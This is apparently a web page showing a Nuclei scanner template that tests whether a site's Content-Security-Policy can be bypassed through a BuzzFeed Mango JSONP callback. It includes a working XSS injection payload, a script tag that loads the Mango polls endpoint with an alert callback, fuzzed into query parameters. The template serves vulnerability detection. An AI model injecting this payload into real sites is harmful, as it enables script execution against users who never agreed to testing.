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Content-Security-Policy Bypass - BuzzFeed Mango

ID: buzzfeed-mango-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,buzzfeed-mango

id: buzzfeed-mango-csp-bypass
info:
name: Content-Security-Policy Bypass - BuzzFeed Mango
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,buzzfeed-mango
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "buzzfeed.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: buzzfeed_mango_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://mango.buzzfeed.com/polls/service/editorial/post?poll_id=121996521&result_id=1&callback=alert(1)%2f%2f"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "buzzfeed_mango_csp_xss == true"
# digest: 4b0a00483046022100b7e88cd4e9cda5f6bb2258a3fb2212c2c12d4191b2fd8638c07f83c90166e981022100bf1886163b952786b56f6cc8b438e4c746e51bc888187007f3336c52c3a47f69:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/buzzfeed-mango-csp-bypass.yaml"

View on Github